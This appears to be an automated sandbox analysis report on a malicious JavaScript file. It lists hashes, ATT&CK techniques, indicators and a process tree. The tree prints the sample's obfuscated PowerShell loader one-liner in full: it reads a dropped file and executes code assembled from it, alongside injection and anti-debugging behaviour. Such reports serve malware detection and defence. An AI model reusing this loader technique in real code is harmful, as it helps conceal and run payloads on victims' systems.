a6df8e42ad117c13e34dc99c65f3477b5ef8cfa17cd2b114a8ad759337f6c242

Analysis

max time kernel
148s
max time network
22s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 14:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mal.js
Size 31KB
Sample260727-rmh7dsvarf
SHA256 a6df8e42ad117c13e34dc99c65f3477b5ef8cfa17cd2b114a8ad759337f6c242
MD5 34300f27bf67f6fbd94abdda85c0bff0
SHA1 d519f56fc7f528a404ae0fb3482baddda77c312a
SHA512 651f66eb57dbdb9b322180dfba12441cde8d709f8d8afd3dd16a44ab5b73e2c1b6aaaa4ea535c46ee6822b6cc9f169a40b1448d8d82c2ae656fcc8994a0ef605
SSDEEP 768:QUdaQpm/HXXRoqlKfYY4rbkMv/now1DZVi4eO+SN:RaQpaHXXRJqb4Mond19VitO5N
TLSH
T16AE21661FB1601734F426BCCBF8AD620CABED3144926B5B1B98FC3099709D8CEB78519
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	928	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3748	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
928	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5036	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	backgroundTaskHost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
928	powershell.exe
928	powershell.exe
3748	powershell.exe
3748	powershell.exe
3748	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3748	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	928	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4848	explorer.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 1188	4684	wscript.exe	89
PID 4848 wrote to memory of 5036	4848	explorer.exe	91
PID 5036 wrote to memory of 928	5036	cmd.exe	93
PID 3748 wrote to memory of 3392	3748	powershell.exe	98
PID 3748 wrote to memory of 3080	3748	powershell.exe	99
PID 3748 wrote to memory of 3080	3748	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\mal.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Embourg1.lnk"
  2⤵
  PID:1188

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4848
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c START "Hanburych" /min powershell.exe -COMMAND "$Kartografi=gc ($HOME+'/app'+'data/local/Bevi');$Sport=$Kartografi[4226]+$Kartografi[4227]+$Kartografi[4228]; . ($Sport) $Kartografi" && exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -COMMAND "$Kartografi=gc ($HOME+'/app'+'data/local/Bevi');$Sport=$Kartografi[4226]+$Kartografi[4227]+$Kartografi[4228]; . ($Sport) $Kartografi"
    3⤵
    - Badlisted process makes network request
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Kartografi=gc ($HOME+'/app'+'data/local/Bevi');$Sport=$Kartografi[4226]+$Kartografi[4227]+$Kartografi[4228]; . ($Sport) $Kartografi"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3748
- C:\Windows\SysWOW64\backgroundTaskHost.exe
  "C:\Windows\SysWOW64\backgroundTaskHost.exe"
  2⤵
  PID:3392
- C:\Windows\SysWOW64\backgroundTaskHost.exe
  "C:\Windows\SysWOW64\backgroundTaskHost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fef88bf9522a532c070b281b61da8ca6ef00a8b7e146f2cae8a70e1494d9ce6f
MD5 fa4b6d622af8666025a1aeab622d17b3
SHA1 19d33e017e6821945b5decc1680df703a7aa566e
SHA512 92aafb9c523b5718f714dc5561cf907c3f41ea48584ca76db503ea71662c3ec9f8b98f67b1f8d71fcee9c732906b781796745b67825f6696d7672580b68ed007
TLSH
T1FD215937B3DC8614DC9A413A50CEAC1136B6C7DB809ECFABBB84D544A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

Embourg1.lnk

Path C:\Users\Admin\AppData\Local\Temp\Embourg1.lnk
Size 1KB
SHA256 94200908f7f2a529aad32587b29d5995471b76071394efa2ae0acb84d3667885
MD5 486a0dade7c9253d7e9e42e8df0e7974
SHA1 adc517cd17639b7664a57cf3fa8c9ce7b10459f6
SHA512 1424e441e1d4a783fbcefbd202892411cbe2e9e9c93b7436b2c446dfe48b2cb15c479e8454d3bccfb2b6b27e1c44db181809f4425f9f411e092c0bd6fb25cd73
TLSH
T1A811890C1BA64314FAF3C53284AE2310A83FF884E6628E0900A557CC29F5911B926F2B
MD5 SHA1 SHA512 TLSH

Submit Download

Udspilbru.rem

Path C:\Users\Admin\AppData\Roaming\Udspilbru.rem
Size 204KB
SHA256 926b67f935111e649a1e45ecb17a1d0b544608d2e8b45564b12d1a3546e4d222
MD5 07af6f8be9a67644dd2ea817327c438c
SHA1 9868a0f4558ad63916ddbaac8d72ddb999c0619f
SHA512 4f70aee4c51b8cfb95f42d07777cbcf0c98969f81c4a5281266e0bb538414c260cb055857d1c1164a5c978313e54f372af3b939353e8356636b0fb35d686df0d
SSDEEP 6144:ZBzWPQvpw0TDycZQQC+bellllllllllllllxVto:LWPkw0PykbC+bellllllllllllllxVi
TLSH
T11014F166C6823DEF44C6D64800367EFF1BBCC847D96CC1A709B42DAAC4A7ADB017A1D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bevi

Path C:\Users\Admin\appdata\local\Bevi
Size 4KB
SHA256 6d71e23d02e12e0ad235ac22afdbfa61f2a96cd864ed34a8f864bb01f22a02fd
MD5 5e84e0d5a8b1779617f8966e5c050eb6
SHA1 3fb8151cfe3cb1ea3893a2def374b85b1d8d17c2
SHA512 8a72868f6e059e7714a84a22152d860cd5f4839d295829455586652596da1e148fb2b94efeece7082eab2da945d3e2c08b547140862a2b1ac1de213368e5d0af
SSDEEP 96:LF0rTCRSVpKNXQgB6ul8+BFlr5q099VhTuDtaumyXJWXuomcl:LKTUzNthLuHXJWX5X
TLSH
T1CA91C8913E0BA63BACBA4F12345D1E01ABBAC810EFE7465EDEA657406620C0C777944D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/928-7-0x000001BE1E150000-0x000001BE1E172000-memory.dmp

Download

memory/3748-19-0x00000000062A0000-0x00000000065FB000-memory.dmp

Download

memory/3748-23-0x0000000007730000-0x00000000077C6000-memory.dmp

Download

memory/3748-16-0x0000000005880000-0x00000000058E6000-memory.dmp

Download

memory/3748-14-0x0000000005760000-0x0000000005782000-memory.dmp

Download

memory/3748-13-0x00000000059F0000-0x000000000603A000-memory.dmp

Download

memory/3748-21-0x0000000006650000-0x000000000666E000-memory.dmp

Download

memory/3748-22-0x0000000006700000-0x000000000674C000-memory.dmp

Download

memory/3748-15-0x0000000005810000-0x0000000005876000-memory.dmp

Download

memory/3748-24-0x0000000006BA0000-0x0000000006BBA000-memory.dmp

Download

memory/3748-25-0x0000000006C10000-0x0000000006C32000-memory.dmp

Download

memory/3748-26-0x0000000007D90000-0x000000000834A000-memory.dmp

Download

memory/3748-27-0x00000000089D0000-0x000000000904C000-memory.dmp

Download

memory/3748-12-0x0000000002E30000-0x0000000002E66000-memory.dmp

Download

memory/3748-29-0x0000000009050000-0x000000000DE71000-memory.dmp

Download